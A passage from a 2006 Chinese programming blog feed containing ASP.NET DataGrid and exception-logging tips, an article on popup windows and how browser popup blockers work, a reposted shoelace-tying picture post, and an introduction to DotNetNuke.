+ OrderItemID + "’)");<br />}<br /><strong><font face="Times New Roman">6.表格超连接列传递参数<br /><br /></font></strong><code>＜asp:HyperLinkColumn Target="_blank" headertext="ID号" DataTextField="id" NavigateUrl="aaa.aspx?id=’<br />　＜%# DataBinder.Eval(Container.DataItem, "数据字段1")%＞’ &amp; name=’＜%# DataBinder.Eval(Container.DataItem, "数据字段2")%＞’ /＞</code><br /><font face="Times New Roman">　　</font><font face="Times New Roman"><strong>7.表格点击改变颜色<br /></strong><br /></font><code>if (e.Item.ItemType == ListItemType.Item ||e.Item.ItemType == ListItemType.AlternatingItem)<br />{<br />　e.Item.Attributes.Add("onclick","this.style.backgroundColor=’#99cc00’;<br />　　　 this.style.color=’buttontext’;this.style.cursor=’default’;");<br />} </code><br /><font face="Times New Roman">　　写在DataGrid的_ItemDataBound里<br /><br /></font><code>if (e.Item.ItemType == ListItemType.Item ||e.Item.ItemType == ListItemType.AlternatingItem)<br />{<br />e.Item.Attributes.Add("onmouseover","this.style.backgroundColor=’#99cc00’;<br />　　　this.style.color=’buttontext’;this.style.cursor=’default’;");<br />e.Item.Attributes.Add("onmouseout","this.style.backgroundColor=’’;this.style.color=’’;");<br />}</code><br /><br /><font face="Times New Roman">　　</font><font face="Times New Roman"><strong>8.关于日期格式<br /></strong><br />　　日期格式设定<br /><br /></font><code>DataFormatString="{0:yyyy-MM-dd}"</code><br /><font face="Times New Roman">　　我觉得应该在itembound事件中<br /><br /></font><code>e.items.cell["你的列"].text=DateTime.Parse(e.items.cell["你的列"].text.ToString("yyyy-MM-dd"))</code><br /><font face="Times New Roman">　</font><font face="Times New Roman"><strong>　9.获取错误信息并到指定页面<br /></strong><br />　　不要使用Response.Redirect,而应该使用Server.Transfer<br /><br />　　e.g<br /><br /></font><code>// in global.asax<br />protected void Application_Error(Object sender, EventArgs e) {<br />if (Server.GetLastError() is HttpUnhandledException)<br />Server.Transfer("MyErrorPage.aspx");<br /><br />//其余的非HttpUnhandledException异常交给ASP.NET自己处理就okay了 :)<br />}</code><br /><font face="Times New Roman">　　Redirect会导致post－back的产生从而丢失了错误信息，所以页面导向应该直接在服务器端执行，这样就可以在错误处理页面得到出错信息并进行相应的处理 <br /><br />　　</font><font face="Times New Roman"><strong>10.清空Cookie<br /></strong><br /></font><code>Cookie.Expires=[DateTime];<br />Response.Cookies("UserName").Expires = 0</code><br /><font face="Times New Roman">　　</font><font face="Times New Roman"><strong>11.自定义异常处理<br /></strong><br /></font><code>//自定义异常处理类 <br />using System;<br />using System.Diagnostics;<br /><br />namespace MyAppException<br />{<br />　/// ＜summary＞<br />　/// 从系统异常类ApplicationException继承的应用程序异常处理类。<br />　/// 自动将异常内容记录到Windows NT/2000的应用程序日志<br />　/// ＜/summary＞<br />　public class AppException:System.ApplicationException<br />　{<br />　　public AppException()<br />　　{<br />　　　if (ApplicationConfiguration.EventLogEnabled)LogEvent("出现一个未知错误。");<br />　　}<br /><br />　public AppException(string message)<br />　{<br />　　LogEvent(message);<br />　}<br /><br />　public AppException(string message,Exception innerException)<br />　{<br />　　LogEvent(message);<br />　　if (innerException != null)<br />　　{<br />　　　LogEvent(innerException.Message);<br />　　}<br />　}<br /><br />　//日志记录类<br />　using System;<br />　using System.Configuration;<br />　using System.Diagnostics;<br />　using System.IO;<br />　using System.Text;<br />　using System.Threading;<br /><br />　namespace MyEventLog<br />　{<br />　　/// ＜summary＞<br />　　/// 事件日志记录类，提供事件日志记录支持 <br />　　/// ＜remarks＞<br />　　/// 定义了4个日志记录方法 (error, warning, info, trace) <br />　　/// ＜/remarks＞<br />　　/// ＜/summary＞<br />　　public class ApplicationLog<br />　　{<br />　　　/// ＜summary＞<br />　　　/// 将错误信息记录到Win2000/NT事件日志中<br />　　　/// ＜param name="message"＞需要记录的文本信息＜/param＞<br />　　　/// ＜/summary＞<br />　　　public static void WriteError(String message)<br />　　　{<br />　　　　WriteLog(TraceLevel.Error, message);<br />　　　}<br /><br />　　　/// ＜summary＞<br />　　　/// 将警告信息记录到Win2000/NT事件日志中<br />　　　/// ＜param name="message"＞需要记录的文本信息＜/param＞<br />　　　/// ＜/summary＞<br />　　　public static void WriteWarning(String message)<br />　　　{<br />　　　　WriteLog(TraceLevel.Warning, message);　　<br />　　　}<br /><br />　　　/// ＜summary＞<br />　　　/// 将提示信息记录到Win2000/NT事件日志中<br />　　　/// ＜param name="message"＞需要记录的文本信息＜/param＞<br />　　　/// ＜/summary＞<br />　　　public static void WriteInfo(String message)<br />　　　{<br />　　　　WriteLog(TraceLevel.Info, message);<br />　　　}<br />　　　/// ＜summary＞<br />　　　/// 将跟踪信息记录到Win2000/NT事件日志中<br />　　　/// ＜param name="message"＞需要记录的文本信息＜/param＞<br />　　　/// ＜/summary＞<br />　　　public static void WriteTrace(String message)<br />　　　{<br />　　　　WriteLog(TraceLevel.Verbose, message);<br />　　　}<br /><br />　　　/// ＜summary＞<br />　　　/// 格式化记录到事件日志的文本信息格式<br />　　　/// ＜param name="ex"＞需要格式化的异常对象＜/param＞<br />　　　/// ＜param name="catchInfo"＞异常信息标题字符串.＜/param＞<br />　　　/// ＜retvalue＞<br />　　　/// ＜para＞格式后的异常信息字符串，包括异常内容和跟踪堆栈.＜/para＞<br />　　　/// ＜/retvalue＞<br />　　　/// ＜/summary＞<br />　　　public static String FormatException(Exception ex, String catchInfo)<br />　　　{<br />　　　　StringBuilder strBuilder = new StringBuilder();<br />　　　　if (catchInfo != String.Empty)<br />　　　　{<br />　　　　　strBuilder.Append(catchInfo).Append("\r\n");<br />　　　　}<br />　　　　strBuilder.Append(ex.Message).Append("\r\n").Append(ex.StackTrace);<br />　　　　return strBuilder.ToString();<br />　　　}<br /><br />　　　/// ＜summary＞<br />　　　/// 实际事件日志写入方法<br />　　　/// ＜param name="level"＞要记录信息的级别（error,warning,info,trace).＜/param＞<br />　　　/// ＜param name="messageText"＞要记录的文本.＜/param＞<br />　　　/// ＜/summary＞<br />　　　private static void WriteLog(TraceLevel level, String messageText)<br />　　　{<br />　　　　try<br />　　　　{ <br />　　　　　EventLogEntryType LogEntryType;<br />　　　　　switch (level)<br />　　　　　{<br />　　　　　　case TraceLevel.Error:<br />　　　　　　　LogEntryType = EventLogEntryType.Error;<br />　　　　　　　break;<br />　　　　　　case TraceLevel.Warning:<br />　　　　　　　LogEntryType = EventLogEntryType.Warning;<br />　　　　　　　break;<br />　　　　　　case TraceLevel.Info:<br />　　　　　　　LogEntryType = EventLogEntryType.Information;<br />　　　　　　　break;<br />　　　　　　case TraceLevel.Verbose:<br />　　　　　　　LogEntryType = EventLogEntryType.SuccessAudit;<br />　　　　　　　break;<br />　　　　　　default:<br />　　　　　　　LogEntryType = EventLogEntryType.SuccessAudit;<br />　　　　　　　break;<br />　　　　　}<br /><br />　　　　　EventLog eventLog = new EventLog("Application", ApplicationConfiguration.EventLogMachineName, ApplicationConfiguration.EventLogSourceName );<br />　　　　　//写入事件日志<br />　　　　　eventLog.WriteEntry(messageText, LogEntryType);<br /><br />　　　　}<br />　　　catch {} //忽略任何异常<br />　　} <br />　} //class ApplicationLog<br />}<br /><font face="Times New Roman"> </font><font face="Times New Roman"><strong>12.Panel 横向滚动，纵向自动扩展<br /></strong><br /></font><code>＜asp:panel style="overflow-x:scroll;overflow-y:auto;"＞＜/asp:panel＞</code><br /><font face="Times New Roman">　　<strong>13.回车转换成Tab</strong><br /><br /></font><code>＜script language="javascript" for="document" event="onkeydown"＞<br />　if(event.keyCode==13 &amp;&amp; event.srcElement.type!=’button’ &amp;&amp; event.srcElement.type!=’submit’ &amp;&amp; 　　　　event.srcElement.type!=’reset’ &amp;&amp; event.srcElement.type!=’’&amp;&amp; event.srcElement.type!=’textarea’); <br />　　　event.keyCode=9;<br />＜/script＞<br /><br />onkeydown="if(event.keyCode==13) event.keyCode=9"<br /></code><br /><font face="Times New Roman">　　</font><font face="Times New Roman"><strong>14.DataGrid超级连接列<br /></strong><br /></font><code>DataNavigateUrlField="字段名" DataNavigateUrlFormatString="http://xx/inc/delete.aspx?ID={0}"</code><br /><font face="Times New Roman">　　</font><font face="Times New Roman"><strong>15.DataGrid行随鼠标变色<br /></strong><br /></font><code>private void DGzf_ItemDataBound(object sender, System.Web.UI.WebControls.DataGridItemEventArgs e)<br />{<br />　if (e.Item.ItemType!=ListItemType.Header)<br />　{<br />　　e.Item.Attributes.Add( "onmouseout","this.style.backgroundColor=\""+e.Item.Style["BACKGROUND-COLOR"]+"\"");<br />　　e.Item.Attributes.Add( "onmouseover","this.style.backgroundColor=\""+ "#EFF3F7"+"\"");<br />　}<br />}</code><br /><font face="Times New Roman">　　</font><font face="Times New Roman"><strong>16.模板列<br /></strong><br /></font><code>＜ASP:TEMPLATECOLUMN visible="False" sortexpression="demo" headertext="ID"＞<br />＜ITEMTEMPLATE＞<br />＜ASP:LABEL text=’＜%# DataBinder.Eval(Container.DataItem, "ArticleID")%＞’ runat="server" width="80%" id="lblColumn" /＞<br />＜/ITEMTEMPLATE＞<br />＜/ASP:TEMPLATECOLUMN＞<br /><br />＜ASP:TEMPLATECOLUMN headertext="选中"＞<br />＜HEADERSTYLE wrap="False" horizontalalign="Center"＞＜/HEADERSTYLE＞<br />＜ITEMTEMPLATE＞<br />＜ASP:CHECKBOX id="chkExport" runat="server" /＞<br />＜/ITEMTEMPLATE＞<br />＜EDITITEMTEMPLATE＞<br />＜ASP:CHECKBOX id="chkExportON" runat="server" enabled="true" /＞<br />＜/EDITITEMTEMPLATE＞<br />＜/ASP:TEMPLATECOLUMN＞</code><br /><font face="Times New Roman">　　后台代码<br /><br /></font><code>protected void CheckAll_CheckedChanged(object sender, System.EventArgs e)<br />{<br />　//改变列的选定，实现全选或全不选。<br />　CheckBox chkExport ;<br />　if( CheckAll.Checked)<br />　{<br />　　foreach(DataGridItem oDataGridItem in MyDataGrid.Items)<br />　　{<br />　　　chkExport = (CheckBox)oDataGridItem.FindControl("chkExport");<br />　　　chkExport.Checked = true;<br />　　}<br />　}<br />　else<br />　{<br />　　foreach(DataGridItem oDataGridItem in MyDataGrid.Items)<br />　　{<br />　　　chkExport = (CheckBox)oDataGridItem.FindControl("chkExport");<br />　　　chkExport.Checked = false;<br />　　}<br />　}<br />}</code><br /><font face="Times New Roman">　　</font><font face="Times New Roman"><strong>17.数字格式化<br /></strong><br />　　【＜%#Container.DataItem("price")%＞的结果是500.0000，怎样格式化为500.00?】<br /><br /></font><code>＜%#Container.DataItem("price","{0:￥#,##0.00}")%＞<br /><br />int i=123456;<br />string s=i.ToString("###,###.00");</code></code></code><img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6649.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-05 18:22 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/05/6649.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ASP.NET中弹出窗口技术</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/05/6648.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Fri, 05 May 2006 10:20:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/05/6648.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6648.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/05/6648.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6648.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6648.html</trackback:ping><description><![CDATA[摘要：本文讨论如何以ASP.NET中的CodeBehind方式实现各种弹出窗口，实现与弹出窗口的交互。并探讨常用非标准IE浏览器对弹出的窗口的各种过滤行为及使用弹出窗口相应对策，以期给出使用弹出窗口的一个通用较优方案。 
<p>　　关键词：ASP.NET、CodeBehind、过滤、COM接口、JavaScript、绑定</p><p>　　作为Microsoft的最新建立动态Web网站的工具，ASP.NET相对于ASP和JSP在改变原始的Web编程方式方面有了长足的长进。它的代码与页面分离技术（CodeBehind）以及完善的Web服务器控件为程序员提供了一个更加符合传统编程的Web服务器端开发方式。但Web编程还是有着与传统编程不相同的特点，这些特点决定了ASP.NET编程中必须以一些特殊的技巧来完成程序要求，弹出窗口正是这类编程方式的代表。相当多的编程书籍对弹出窗口采取缄默或者一语带过，似乎看不过弹出窗口的巨大使用天地。本文将为你解开弹出窗口使用中的大多数问题。</p><p>　　为了提高网站的访问的并发度和吞吐量，与其它服务器脚本一样，ASP.NET同样使用了客户端脚本来减轻服务器的压力。ASP.NET到现在(1.1版)为止并不直接支持弹出窗口，必须通过JavaScript（或VBScript）来使用客户端弹出窗口。</p><p>　　一、 警告窗口与在CodeBehind中使用客户端脚本的方式</p><p>　　要在浏览器中弹出一个最简单的警告窗口，可以使用JavaScript语句：</p><p>window.alert( [sMessage]) </p><p>　　其中，sMessage是提示信息。可惜，这样的弹出窗口是只有一个“确定”按钮，只能起到提示作用。如果我们要在删除记录时候弹出一个询问的弹出窗口，此时你需要使用：</p><p>bConfirmed = window.confirm( [sMessage])</p><p>　　其中：bConfirmed是返回值，sMessage是提示信息。这个弹出窗口有两种选择：“确定”或“放弃”，其选择的返回值放在bConfirmed中，可供代码作出判断。</p><p>　　为了提高代码的可重用性与可读性，应当使JavaScript与Codehind相互溶合。通常有两种方式可以达到这样的效果。</p><p>　　（1） 使用Response.Write方法：</p><p>　　使用Response.Write方法早在ASP时代就已经被支持了。它可以把代码写到客户端，是一种相当方便且直观的方法。以下代码演示了如何使用Response.Write方法来显示一个警告信息。</p><p>Private Sub btAlert_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btAlert.Click<br />　’演示Response.Write方法和alert窗口。<br />　Response.Write(" ")<br />End Sub </p><p>　　（2） 使用RegisterXXX方法</p><p>　　如果你观察Response.Write的生成HTML代码，你会发现Response.Write方法生成的代码是写到了HTML代码的最开始，即标签之前。此时，所有的 HTML对象都还没有生成，如果要想使用HTML内的对象，并与之交互，就会出现“找不到对象”的错误。因此，笔者推荐一个更加符合CodeBehind方式的方式----使用RegisterXXX方法。RegisterXXX包括：RegisterClientScriptBlock、RegisterStartupScript以及用于判断的IsStartupScriptRegistered函数。</p><p>　　RegisterStartupScript 的原型是：</p><p>Overridable Public Sub RegisterStartupScript( _<br />　ByVal key As String, _<br />　ByVal script As String _<br />) </p><p>　　其中：key表示这个脚本的唯一标识，script是代表脚本的字符串。</p><p>　　RegisterClientScriptBlock的原型与RegisterStartupScript相同，两个函数不同在于将其包含的脚本代码写入到HTML文件的不同位置。RegisterClientScriptBlock在 Page 对象的 元素的开始标记后立即发出客户端脚本，RegisterStartupScript则是在Page 对象的 元素的结束标记之前发出该脚本。如果你的脚本有与页面对象(doucument对象)进行交互的语句（这在我们后面的例子中看到），则推荐使用RegisterStartupScript，反之如果要想客户端脚本尽可能早的执行，则可以使用RegisterClientScriptBlock或Response.Write。</p><p>　　为了防止在页面中反复加入脚本，在注册脚本时ReisterStartupScript/RegisterClientScriptBlock使用了key作为注册的Key，然后在程序中可以使用IsClientScriptBlockRegistered作判断。</p><p>　　以下例子将使用RegisterClientScriptBlock来演示confirm的使用方法。</p><p>Private Sub btConfirm_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btConfirm.Click</p><p>　’演示RegisterClientScriptBlock方法和confirm窗口</p><p>　If (Not IsClientScriptBlockRegistered("clientScript")) Then<br />　‘判断是否已经加入了该脚本，没有则加入。<br />　　Dim strScript As String <br />　　strScript = " "<br />　‘注册脚本 <br />　　RegisterClientScriptBlock("clientScript", strScript)<br />　‘如果选择”否”，则继续向下执行。<br />　End If</p><p>End Sub </p><p>　　二、 弹出指定页面</p><p>　　光有提示窗口还远远不能满足我们的要求，在程序中，我们常常需要弹出指定页面。此时可以使用JavaScript的window.open方法。配合前面的RegisterClientSciptBlock方法，我们就可以实现指定页面的弹出。</p><p>　　以下代码展示了如何弹出指定页面:</p><p>Private Sub btWinOpen_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btWinOpen.Click</p><p>　’使用window.open与registerStartupScript简单演示。</p><p>　If (Not IsClientScriptBlockRegistered("OpenScript")) Then<br />　　’判断是否已经加入了该脚本，没有则加入。<br />　　Dim strScript As String = " "<br />　　RegisterStartupScript("OpenScript", strScript)<br />　End If<br />End Sub </p><p>　　程序使用Window.open方法来弹出新的页面，它只一个参数：新的弹出窗口的URL地址。事实在window.open方法有多个参数，但这是javascipt的简单内容，我们将不会在这儿详细分说。如果你有相关的问题，请查询MSDN。</p><p>　　这段程序在IE中直接使用一切正常。但如果你正在使用类如GoSurf、MyIE2、NetCapter之类的浏览器，那么，很不幸！ 你将看不到弹出窗口。这就是我们将要讨论的弹出窗口过滤问题。</p><p>　　三、 非标准IE浏览器对弹出窗口的过滤行为讨论</p><p>　　广告窗口的泛滥使得不少网民不堪铺天盖地的广告骚扰纷纷放弃标准IE浏览器而使用诸如GoSurf、MyIE2、NetCapter这样的使用IE内核支持多页面并能自动屏蔽广告的软件。据说在即将发布的IE6 sp2中微软也将加入封杀广告窗口功能。这对大多数网民当然是件好事，可对于程序员而言，我们使用弹出窗口的方式与一般广告并无本质的不同，这样的窗口也会被弹出窗口管理器不分青红皂白的封杀，其结果当然是我们不愿看到的。有没有一个标准的方式能让窗口正常的弹出呢？这就要求我们了解浏览器封杀广告的原理。通常的广告封杀器使用以下三种方式进行广告过滤：</p><p>　　（1）、基于窗口标题的封杀方式</p><p>　　这种封杀方式的原理是定时检查所有的IE窗口标题,然后于已经有的列表（由程序维护的一个数组列表）来比较,如果有相同的,我们就关闭这个窗口。显然，这种方式有着诸多缺陷，它封杀了所有的弹出的窗口，管得太死，在程序真正使用的很少。不过，依据它进行的变形方式倒使用得相当的普遍。那就是，基于窗口标题名称的智能过滤技术，它根据弹出窗口的标题是否含有关于广告的关键字进行封杀，这为提高过滤效果作出了很好的探索。</p><p>　　（2）、基于窗口类和位置的封杀方式</p><p>　　经过分析发现正常浏览窗口的类名是IEFRAME和CabinetWClass,而广告窗口的类名是CabinetWClass。进一步分析发现：广告窗口的WorkerA类和Shell DocObject View类的rect.top的值是相同的，正常IE窗口的WorkerA类和Shell DocObject View类的rect.top的值是不相同的。根据以上两点就可以书写广告杀手程序了。 事实上，我对此程序的通用性持怀疑态度。因为笔者用Spy++分析发现，在Windows2000( 笔者使用的操作系统)中，IE窗口的类都为IEFrame。同时，由于Win2000是一个基于Unicode代码的操作系统，所以没有WorkerA类，而以WorkerW类取而代之。同时，也不存在rect.top不相同的情况，由于笔者没有WindowsXP操作系统，所以不能针对WindowsXP作进一步的试验。</p><p>　　（3）、基于IE COM组件的封杀方式</p><p>　　以上两种方式都是把IE窗口当作一个普通的Windows窗口对待，进行判断的。事实上，IE是一个典型的基于COM组件的浏览器，所有的基于IE内核的浏览器都是包装shdocvw.dll文件，然后书写相应的BHO代码。只有这样才能做到真正的控制IE浏览器，而不是方法一、二这样的隔靴搔痒。</p><p>　　还有一种基于IE内核的弹出窗口封杀方法。它可以在弹出窗口打开之前加以拦截。其原理是：每当IE打开一个新的窗口时候都会触发NewWindow事件，执行OnNewWindow2([out] IDispatch*, [out] BOOL *bCancel)方法。重载此方法，判断打开新窗口事件是否发生在浏览页面已经下载完毕之后。如果是，说明是正常的弹出窗口，反之加以拦截。</p><p>　　由于Gosurf这样的浏览器本身就重载了Shocvm.dll组件，所以使用第三种方法就自然成了顺理成章的事。然而在使用过程中有时也会发现，广告过滤不很完美，但原理基本如此。 </p><p align="right">（出处：<a title="网络学院" href="http://www.vipcn.com/" target="_blank">http://www.vipcn.com</a>）</p><img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6648.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-05 18:20 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/05/6648.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>鞋带的超炫系法－真是门艺术[转载]</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/04/28/6422.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Fri, 28 Apr 2006 07:18:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/04/28/6422.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6422.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/04/28/6422.html#Feedback</comments><slash:comments>4</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6422.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6422.html</trackback:ping><description><![CDATA[
		<div class="posthead">
				<h2>
						<span style="COLOR: red">以前转过一篇关于<a href="http://www.cnblogs.com/gisattic/archive/2005/05/03/148959.html">打领带的文章</a>，感觉受用匪浅，今天又发现这个关于系鞋带的，大家也跟着学习学习吧！</span>
						<br />都这么大的人了，还都是交叉蝴蝶结鞋带，真够让家长操心的:P<br /><br /><img onclick="window.open('uploadimg/20056172214789676.jpg','_blank');" alt="如图片显示不完整请点击查看" hspace="2" src="http://www.cnbruce.com/blog/uploadimg/20056172214789676.jpg" vspace="2" border="0" /><br /><br />学学、看看人家是怎么整的。<br /><br /><img onclick="window.open('uploadimg/200561722111457566.jpg','_blank');" alt="如图片显示不完整请点击查看" hspace="2" src="http://www.cnbruce.com/blog/uploadimg/200561722111457566.jpg" vspace="2" border="0" /><br /><br />系的时候可要想好穿好了，121，121，齐步走<br /><br /><img onclick="window.open('uploadimg/20056172212176594.jpg','_blank');" alt="如图片显示不完整请点击查看" hspace="2" src="http://www.cnbruce.com/blog/uploadimg/20056172212176594.jpg" vspace="2" border="0" /><br /><br />这是地下活动的多，秀外惠中啊<br /><br /><img onclick="window.open('uploadimg/200561722121820880.jpg','_blank');" alt="如图片显示不完整请点击查看" hspace="2" src="http://www.cnbruce.com/blog/uploadimg/200561722121820880.jpg" vspace="2" border="0" /><br /><br />很直爽，一牵到头，另一头是P2P<br /><br /><img onclick="window.open('uploadimg/200561722365877406.jpg','_blank');" alt="如图片显示不完整请点击查看" hspace="2" src="http://www.cnbruce.com/blog/uploadimg/200561722365877406.jpg" vspace="2" border="0" /><br /><br />这哪是系，绑得了<br /><br /><img onclick="window.open('uploadimg/200561722125738939.jpg','_blank');" alt="如图片显示不完整请点击查看" hspace="2" src="http://www.cnbruce.com/blog/uploadimg/200561722125738939.jpg" vspace="2" border="0" /><br /><br />我晕，从上头开始系起<br /><br /><img onclick="window.open('uploadimg/200561722131450790.jpg','_blank');" alt="如图片显示不完整请点击查看" hspace="2" src="http://www.cnbruce.com/blog/uploadimg/200561722131450790.jpg" vspace="2" border="0" /><br /><br /><img onclick="window.open('smile/face13.gif','_blank');" alt="如图片显示不完整请点击查看" hspace="2" src="http://www.cnbruce.com/blog/smile/face13.gif" vspace="2" border="0" />这不是极限特工 XXX 么<br /><br /><img onclick="window.open('uploadimg/200561722144536920.jpg','_blank');" alt="如图片显示不完整请点击查看" hspace="2" src="http://www.cnbruce.com/blog/uploadimg/200561722144536920.jpg" vspace="2" border="0" /><br /><br />我X，我X，我再XXX<img src="http://www.cnbruce.com/blog/images/biggrin.gif" /><br /><br /><img onclick="window.open('uploadimg/20056172215798949.jpg','_blank');" alt="如图片显示不完整请点击查看" hspace="2" src="http://www.cnbruce.com/blog/uploadimg/20056172215798949.jpg" vspace="2" border="0" /><br /><br />系的图是好图，结构也似有逻辑思维<br /><br /><img onclick="window.open('uploadimg/200561722155490066.jpg','_blank');" alt="如图片显示不完整请点击查看" hspace="2" src="http://www.cnbruce.com/blog/uploadimg/200561722155490066.jpg" vspace="2" border="0" /><br /><br />整吧，往中间系，真害怕飞角射门会连鞋一起飞出<br /><br /><img onclick="window.open('uploadimg/200561722161360513.jpg','_blank');" alt="如图片显示不完整请点击查看" hspace="2" src="http://www.cnbruce.com/blog/uploadimg/200561722161360513.jpg" vspace="2" border="0" /><br /><br />一只鞋两鞋带，系完上面系下面，系死你<img src="http://www.cnbruce.com/blog/images/biggrin.gif" /><br /><br /><img onclick="window.open('uploadimg/200561722392880298.jpg','_blank');" alt="如图片显示不完整请点击查看" hspace="2" src="http://www.cnbruce.com/blog/uploadimg/200561722392880298.jpg" vspace="2" border="0" /><br /><br />怀疑鞋带本身就是阴阳各半，不过蛮好看的，给你鞋带染个色吧<br /><br /><img onclick="window.open('uploadimg/20056172218353940.jpg','_blank');" alt="如图片显示不完整请点击查看" hspace="2" src="http://www.cnbruce.com/blog/uploadimg/20056172218353940.jpg" vspace="2" border="0" /><br /><br />双保险双保险，看你还能从我脚上偷鞋<br /><br /><img onclick="window.open('uploadimg/200561722182431265.jpg','_blank');" alt="如图片显示不完整请点击查看" hspace="2" src="http://www.cnbruce.com/blog/uploadimg/200561722182431265.jpg" vspace="2" border="0" /><br /><br />横的和斜的，恩，不错。<br /><br /><img onclick="window.open('uploadimg/200561722184318537.jpg','_blank');" alt="如图片显示不完整请点击查看" hspace="2" src="http://www.cnbruce.com/blog/uploadimg/200561722184318537.jpg" vspace="2" border="0" /><br /><br />这鞋带头呢？没头？套鞋啊？<br />来源：<a href="http://www.cnbruce.com/blog/showlog.asp?cat_id=28&amp;log_id=710">http://www.cnbruce.com/blog/showlog.asp?cat_id=28&amp;log_id=710</a></h2>
		</div>
<img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6422.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-04-28 15:18 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/04/28/6422.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>什么是DNN(DotNetNuke)</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/04/28/6410.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Fri, 28 Apr 2006 01:37:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/04/28/6410.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6410.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/04/28/6410.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6410.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6410.html</trackback:ping><description><![CDATA[
		<span class="SubHead">什么是Dotnetnuke?</span>
		<br />
		<div class="Normal" width="100%">
				<p>
				</p>
				<h1 align="center">
						<font size="3">Dotnetnuke是一个免费、开源、可扩展、几近完美的内容管理系统。可广泛应用于商务网站、企业内网（Intranet）和外网网站、在线内容发布网站。</font>
				</h1>
				<div> </div>
				<div>Dotnetnuke是建立在微软ASP.NET平台之上的一套Web应用框架。</div>
				<div> </div>
				<div>Dotnetnuke是微软第一次向开源说”Yes”的里程碑。</div>
				<div> </div>
				<div>Dotnetnuke 是门户网站的未来。 </div>
				<div> </div>
				<h2>Dotnetnuke的特色</h2>
				<div>        通用性          ――――几乎可以用来构建让任何Web应用：商务网站，企业内网／外网，在线内容发布。</div>
				<div>       用户友好性    ―――—其设计考虑非常周全，借助站点向导，无处不在的帮助图标等等，用户能够很容易的控制项目的各个方面。</div>
				<div>         多网站支持    ――――套程序部署就可以支持多个网站。每个网站都有各自的管理员和独特页面布局。</div>
				<div>         技术支持       ――――Dotnetnuke有一个核心开发团队和国际化的支持社团。DNN的用户组、论坛、资源网站以及专注与DNN技术的很多公司，全方位的提供支持和帮助。</div>
				<div>        安装简单       ――――从<a href="http://www.dotnetnuke.com/">www.Dotnetnuke.com</a> (英文版) 或<a href="http://www.dnnchina.net/">www.DnnChina.net</a> (中文版)下载软件以后，按照安装指导的步骤，只需要几分钟就可以完成。</div>
				<div>         本地化           ――――到目前为止已经有27个语言包，能很轻松的把您的网站转换成几乎任何语言。语言包也是可扩展的，您可以很容易的创建自己的特色语言包。</div>
				<div>         开放源代码    ――――DNN是免费、开放源代码项目，采用类BSD风格的授权方式。容许任何人按自己的想法，商业和非商业的使用DNN.。BSD开源协议是一个给于使用者很大自由的协议。基本上使用者可以"为所欲为",可以自由的使用，修改源代码，也可以将修改后的代码作为开源或者专有软件再发布。你只需要源代码中带有原来代码中的BSD协议。</div>
				<div>         高扩展性       ――――DNN内建的功能已经足够构建一个非常复杂的内容管理系统。DNN提供了全新的在线式功能块扩展，无论是第三方模块还您自己开发的模块，都能随时很容易的加入到正在运行的网站中。</div>被广泛认同    ――――Dotnetnuke已经是一个商标，得到了开源社区的广泛认同和尊重。Dotnetnuke.com（英文）已经有超过170,000的注册用户，DnnChina.net（中文）已经有超过2,600的注册用户。</div>
